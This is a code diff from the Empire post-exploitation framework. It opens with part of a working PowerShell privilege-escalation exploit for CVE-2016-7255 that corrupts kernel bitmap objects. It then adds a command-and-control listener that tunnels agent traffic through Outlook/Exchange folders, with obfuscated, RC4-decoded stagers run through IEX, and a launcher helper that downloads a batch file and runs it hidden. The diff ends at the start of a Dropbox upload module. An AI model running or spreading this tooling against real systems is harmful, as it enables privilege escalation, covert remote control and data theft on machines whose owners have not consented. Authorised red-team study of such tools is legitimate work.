$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
}
function Do-AltShiftTab {
param([Int]$Count)
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
for ($i=0;$i -lt $count;$i++) {
$CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB
$CallResult = Sim-KeyUp -wKey 0x9 # VK_TAB
}
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
}
do {
$Bitmap1 = Stage-gSharedInfoBitmap
$Bitmap2 = Stage-gSharedInfoBitmap
if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) {
$WorkerBitmap = $Bitmap1
$ManagerBitmap = $Bitmap2
} else {
$WorkerBitmap = $Bitmap2
$ManagerBitmap = $Bitmap1
}
$Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj
} while ($Distance -ne 0x2000)
Write-Verbose "[?] Adjacent large session pool feng shui.."
Write-Verbose "[+] Worker : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)"
Write-Verbose "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)"
Write-Verbose "[+] Distance: 0x$('{0:X}' -f $Distance)"
$TargetAddress = $WorkerBitmap.BitmapKernelObj + 63
function Do-OrAddress {
param([Int64]$Address)
$AtomCreate = New-Object ms16135
$hAtom = $AtomCreate.CustomClass("cve-2016-7255")
if ($hAtom -eq 0){
break
}
Write-Verbose "`n[?] Creating Window objects"
$hMod = [ms16135]::GetModuleHandleW([String]::Empty)
$hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
if ($hWndParent -eq 0){
break
}
$hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
if ($hWndChild -eq 0){
break
}
$Address = $Address - 0x28
Write-Verbose "[+] Corrupting child window spmenu"
$CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address)
$CallResult = [ms16135]::ShowWindow($hWndParent,1)
$hDesktopWindow = [ms16135]::GetDesktopWindow()
$CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow)
$CallResult = [ms16135]::SetForegroundWindow($hWndChild)
Do-AltShiftTab -Count 4
$CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true)
Do-AltShiftEsc
function Trigger-Write {
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 3000) {
$tagMSG = New-Object tagMSG
if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) {
$CallResult = [ms16135]::SetFocus($hWndParent) #
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
$CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here!
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
$CallResult = [ms16135]::TranslateMessage([ref]$tagMSG)
$CallResult = [ms16135]::DispatchMessage([ref]$tagMSG)
}
} $SafeGuard.Stop()
}
[IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40)
do {
Write-Verbose "[+] Trying to trigger arbitrary 'Or'.."
$ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
Trigger-Write
$LoopCount += 1
} while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)
$CallResult = [ms16135]::DestroyWindow($hWndChild)
$CallResult = [ms16135]::DestroyWindow($hWndParent)
$CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero)
if ($LoopCount -eq 10) {
"`n[!] Bug did not trigger, try again or patched?`n"
$Script:BugNotTriggered = 1
}
}
Do-OrAddress -Address $TargetAddress
if ($BugNotTriggered) {
Return
}
if ($OSMajorMinor -eq "6.1") {
$SizeVal = 0x400000770
} else {
$SizeVal = 0x400000760
}
do {
$Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount)
if ($Read64 -eq $SizeVal) {
$Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16)
$Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24)
if ($Pointer1 -eq $Pointer2) {
$BufferOffset = $LoopCount + 16
Break
}
}
$LoopCount += 8
} while ($LoopCount -lt 0x2000)
$pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset)
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
if ($pvScan0 -ne 0) {
Write-Verbose "`n[?] Success, reading beyond worker bitmap size!"
Write-Verbose "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
} else {
"`n[!] Buffer contains invalid data, quitting..`n"
Return
}
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0)
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0)
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
Write-Verbose "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
$CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle
}

File diff suppressed because it is too large Load Diff

22
empire
View File

@ -500,21 +500,21 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for agent in main.agents.get_agents():
sessionID = agent[1]
main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
main.agents.save_agent_log(sessionID, msg)
msg = "tasked all agents to run module %s" %(module_name)
return jsonify({'success': True, 'msg':msg})
return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
else:
# set the agent's tasking in the cache
main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
# update the agent log
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
main.agents.save_agent_log(sessionID, msg)
return jsonify({'success': True, 'msg':msg})
return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
@app.route('/api/modules/search', methods=['POST'])
@ -865,12 +865,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
for agentNameID in agentNameIDs:
[agentName, agentSessionID] = agentNameID
agentResults = execute_db_query(conn, 'SELECT agent, data FROM results WHERE agent=?', [agentSessionID])
agentResults = execute_db_query(conn, 'SELECT id, agent, data FROM results WHERE agent=?', [agentSessionID])
for result in agentResults:
[agent, data] = result
agentTaskResults.append({"agentname":result[0], "results":result[1]})
[resultid, agent, data] = result
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
return jsonify({'results': agentTaskResults})
@ -959,10 +960,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
# add task command to agent taskings
msg = "tasked agent %s to run command %s" %(agentSessionID, command)
main.agents.save_agent_log(agentSessionID, msg)
main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
return jsonify({'success': True})
taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
return jsonify({'success': True, 'taskID': taskID})
@app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
def task_agent_rename(agent_name):
@ -1238,7 +1238,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
signal.signal(signal.SIGINT, signal_handler)
# wrap the Flask connection in SSL and start it
context = ('./data/empire.pem', './data/empire.pem')
context = ('./data/empire-chain.pem', './data/empire-priv.key')
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)

View File

@ -1041,14 +1041,14 @@ class Agents:
if pk is None:
pk = 0
pk = (pk + 1) % 65536
taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid
cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]])
# append our new json-ified task and update the backend
agent_tasks.append([taskName, task, taskID])
agent_tasks.append([taskName, task, pk])
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
# report the agent tasking in the reporting database
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID))
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk))
cur.close()
@ -1058,7 +1058,7 @@ class Agents:
f.write(task)
f.close()
return taskID
return pk
finally:
self.lock.release()

View File

@ -75,6 +75,14 @@ class Stagers:
if stagerOption == option:
stager.options[option]['Value'] = str(value)
def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '):
#TODO add handle for other than powershell language
stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
if encode:
return helpers.powershell_launcher(stager, launcher)
else:
return stager
def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
"""
@ -450,4 +458,4 @@ class Stagers:
jarfile.close()
os.remove('Run.jar')
return jar
return jar

View File

@ -845,7 +845,8 @@ def send_message(packets=None):
host = listenerOptions['Host']['Value']
if certPath.strip() != '' and host.startswith('https'):
certPath = os.path.abspath(certPath)
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=(certPath,certPath))
context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
else:
app.run(host=bindIP, port=int(port), threaded=True)

View File

@ -598,7 +598,8 @@ class Listener:
certPath = listenerOptions['CertPath']['Value']
host = listenerOptions['Host']['Value']
if certPath.strip() != '' and host.startswith('https'):
context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath))
certPath = os.path.abspath(certPath)
context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
else:
app.run(host=bindIP, port=int(port), threaded=True)

626
lib/listeners/http_mapi.py Normal file
View File

@ -0,0 +1,626 @@
import logging
import base64
import random
import os
import time
import copy
from pydispatch import dispatcher
from flask import Flask, request, make_response
# Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'HTTP[S] + MAPI',
'Author': ['@harmj0y','@_staaldraad'],
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
'Category' : ('client_server'),
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'mapi'
},
'Host' : {
'Description' : 'Hostname/IP for staging.',
'Required' : True,
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
},
'BindIP' : {
'Description' : 'The IP to bind to on the control server.',
'Required' : True,
'Value' : '0.0.0.0'
},
'Port' : {
'Description' : 'Port for the listener.',
'Required' : True,
'Value' : 80
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 0
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 60
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
},
'CertPath' : {
'Description' : 'Certificate path for https listeners.',
'Required' : False,
'Value' : ''
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
},
'ServerVersion' : {
'Description' : 'TServer header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
},
'Folder' : {
'Description' : 'The hidden folder in Exchange to user',
'Required' : True,
'Value' : 'Liniaal'
},
'Email' : {
'Description' : 'The email address of our target',
'Required' : False,
'Value' : ''
}
}
# required:
self.mainMenu = mainMenu
self.threads = {}
# optional/specific for this module
self.app = None
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
# set the default staging key to the controller db default
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
def default_response(self):
"""
Returns a default HTTP server page.
"""
page = "<html><body><h1>It works!</h1>"
page += "<p>This is the default web page for this server.</p>"
page += "<p>The web server software is running but no content has been added, yet.</p>"
page += "</body></html>"
return page
def validate_options(self):
"""
Validate all options for this listener.
"""
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# @mattifestation's AMSI bypass
stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
stager += "$outlook = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
stager += helpers.randomize_capitalization("While ($break -ne $True){")
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
# base64 encode the stager and return it
if encode:
return helpers.powershell_launcher(stager)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
"""
Generate the stager code needed for communications with this listener.
"""
#if not language:
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
# return None
profile = listenerOptions['DefaultProfile']['Value']
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
stagingKey = listenerOptions['StagingKey']['Value']
host = listenerOptions['Host']['Value']
folder = listenerOptions['Folder']['Value']
if language.lower() == 'powershell':
# read in the stager base
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
stager = f.read()
f.close()
# make sure the server ends with "/"
if not host.endswith("/"):
host += "/"
# patch the server and key information
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
stager = stager.replace('REPLACE_FOLDER', folder)
randomizedStager = ''
for line in stager.split("\n"):
line = line.strip()
# skip commented line
if not line.startswith("#"):
# randomize capitalization of lines without quoted strings
if "\"" not in line:
randomizedStager += helpers.randomize_capitalization(line)
else:
randomizedStager += line
# base64 encode the stager and return it
if encode:
return helpers.enc_powershell(randomizedStager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
else:
# otherwise just return the case-randomized stager
return randomizedStager
else:
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_agent(self, listenerOptions, language=None):
"""
Generate the full agent code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
return None
language = language.lower()
delay = listenerOptions['DefaultDelay']['Value']
jitter = listenerOptions['DefaultJitter']['Value']
profile = listenerOptions['DefaultProfile']['Value']
lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
folder = listenerOptions['Folder']['Value']
b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
code = f.read()
f.close()
# patch in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
code = code.replace('REPLACE_COMMS', commsCode)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
if workingHours != "":
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
return code
else:
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
getTask = """
function script:Get-Task {
try {
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random;
$mail = $outlook.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
$mail.save() | out-null;
$mail.Move($fld)| out-null;
# keep checking to see if there is response
$break = $False;
[byte[]]$b = @();
While ($break -ne $True){
foreach ($item in $fld.Items) {
if($item.Subject -eq "mailpirein"){
$item.HTMLBody | out-null;
if($item.Body[$item.Body.Length-1] -ne '-'){
$traw = $item.Body;
$item.Delete();
$break = $True;
$b = [System.Convert]::FromBase64String($traw);
}
}
}
Start-Sleep -s 1;
}
return ,$b
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
"""
sendMessage = """
function script:Send-Message {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets;
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;
# $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket);
$RoutingPacketp = [Convert]::ToBase64String($RoutingPacket)
try {
# get a random posting URI
$taskURI = $Script:TaskURIs | Get-Random;
$mail = $outlook.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp;
$mail.save() | out-null;
$mail.Move($fld) | out-null;
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
}
"""
return updateServers + getTask + sendMessage
else:
print helpers.color("[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.")
else:
print helpers.color('[!] listeners/http_mapi generate_comms(): no language specified!')
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up the Flask server.
"""
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
# suppress the normal Flask output
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
bindIP = listenerOptions['BindIP']['Value']
host = listenerOptions['Host']['Value']
port = listenerOptions['Port']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
app = Flask(__name__)
self.app = app
@app.before_request
def check_ip():
"""
Before every request, check if the IP address is allowed.
"""
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http")
return make_response(self.default_response(), 200)
@app.after_request
def change_header(response):
"Modify the default server version in the response."
response.headers['Server'] = listenerOptions['ServerVersion']['Value']
return response
@app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri):
"""
Handle an agent GET request.
This is used during the first step of the staging process,
and when the agent requests taskings.
"""
clientIP = request.remote_addr
dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http')
routingPacket = None
cookie = request.headers.get('Cookie')
if cookie and cookie != '':
try:
# see if we can extract the 'routing packet' from the specified cookie location
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if 'session' in cookie:
cookieParts = cookie.split(';')
for part in cookieParts:
if part.startswith('session'):
base64RoutingPacket = part[part.find('=')+1:]
# decode the routing packet base64 value in the cookie
routingPacket = base64.b64decode(base64RoutingPacket)
except Exception as e:
routingPacket = None
pass
if routingPacket:
# parse the routing packet and process the results
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP)
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:
if results == 'STAGE0':
# handle_agent_data() signals that the listener should return the stager.ps1 code
# step 2 of negotiation -> return stager.ps1 (stage 1)
dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http')
stage = self.generate_stager(language=language, listenerOptions=listenerOptions)
return make_response(stage, 200)
elif results.startswith('ERROR:'):
dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http')
if 'not in cache' in results:
# signal the client to restage
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
return make_response(self.default_response(), 401)
else:
return make_response(self.default_response(), 200)
else:
# actual taskings
dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http')
return make_response(results, 200)
else:
# dispatcher.send("[!] Results are None...", sender='listeners/http')
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
else:
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http')
return make_response(self.default_response(), 200)
@app.route('/<path:request_uri>', methods=['POST'])
def handle_post(request_uri):
"""
Handle an agent POST request.
"""
stagingKey = listenerOptions['StagingKey']['Value']
clientIP = request.remote_addr
# the routing packet should be at the front of the binary request.data
# NOTE: this can also go into a cookie/etc.
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP)
#print dataResults
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:
if results.startswith('STAGE2'):
# TODO: document the exact results structure returned
sessionID = results.split(' ')[1].strip()
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
# TODO: wrap ^ in a routing packet?
return make_response(encryptedAgent, 200)
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http')
return make_response(self.default_response(), 200)
elif results == 'VALID':
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http')
return make_response(self.default_response(), 200)
else:
return make_response(results, 200)
else:
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
try:
certPath = listenerOptions['CertPath']['Value']
host = listenerOptions['Host']['Value']
if certPath.strip() != '' and host.startswith('https'):
context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath))
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
else:
app.run(host=bindIP, port=int(port), threaded=True)
except Exception as e:
print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http')
def start(self, name=''):
"""
Start a threaded instance of self.start_server() and store it in the
self.threads dictionary keyed by the listener name.
"""
listenerOptions = self.options
if name and name != '':
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(1)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
else:
name = listenerOptions['Name']['Value']
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(1)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
def shutdown(self, name=''):
"""
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
if name and name != '':
print helpers.color("[!] Killing listener '%s'" % (name))
self.threads[name].kill()
else:
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
self.threads[self.options['Name']['Value']].kill()

View File

@ -0,0 +1,141 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# Metadata info about the module, not modified during runtime
self.info = {
# Name for the module that will appear in module menus
'Name': 'Invoke-DropboxUpload',
# List of one or more authors for the module
'Author': ['kdick@tevora.com','Laurent Kempe'],
# More verbose multi-line description of the module
'Description': ('Upload a file to dropbox '),
# True if the module needs to run in the background
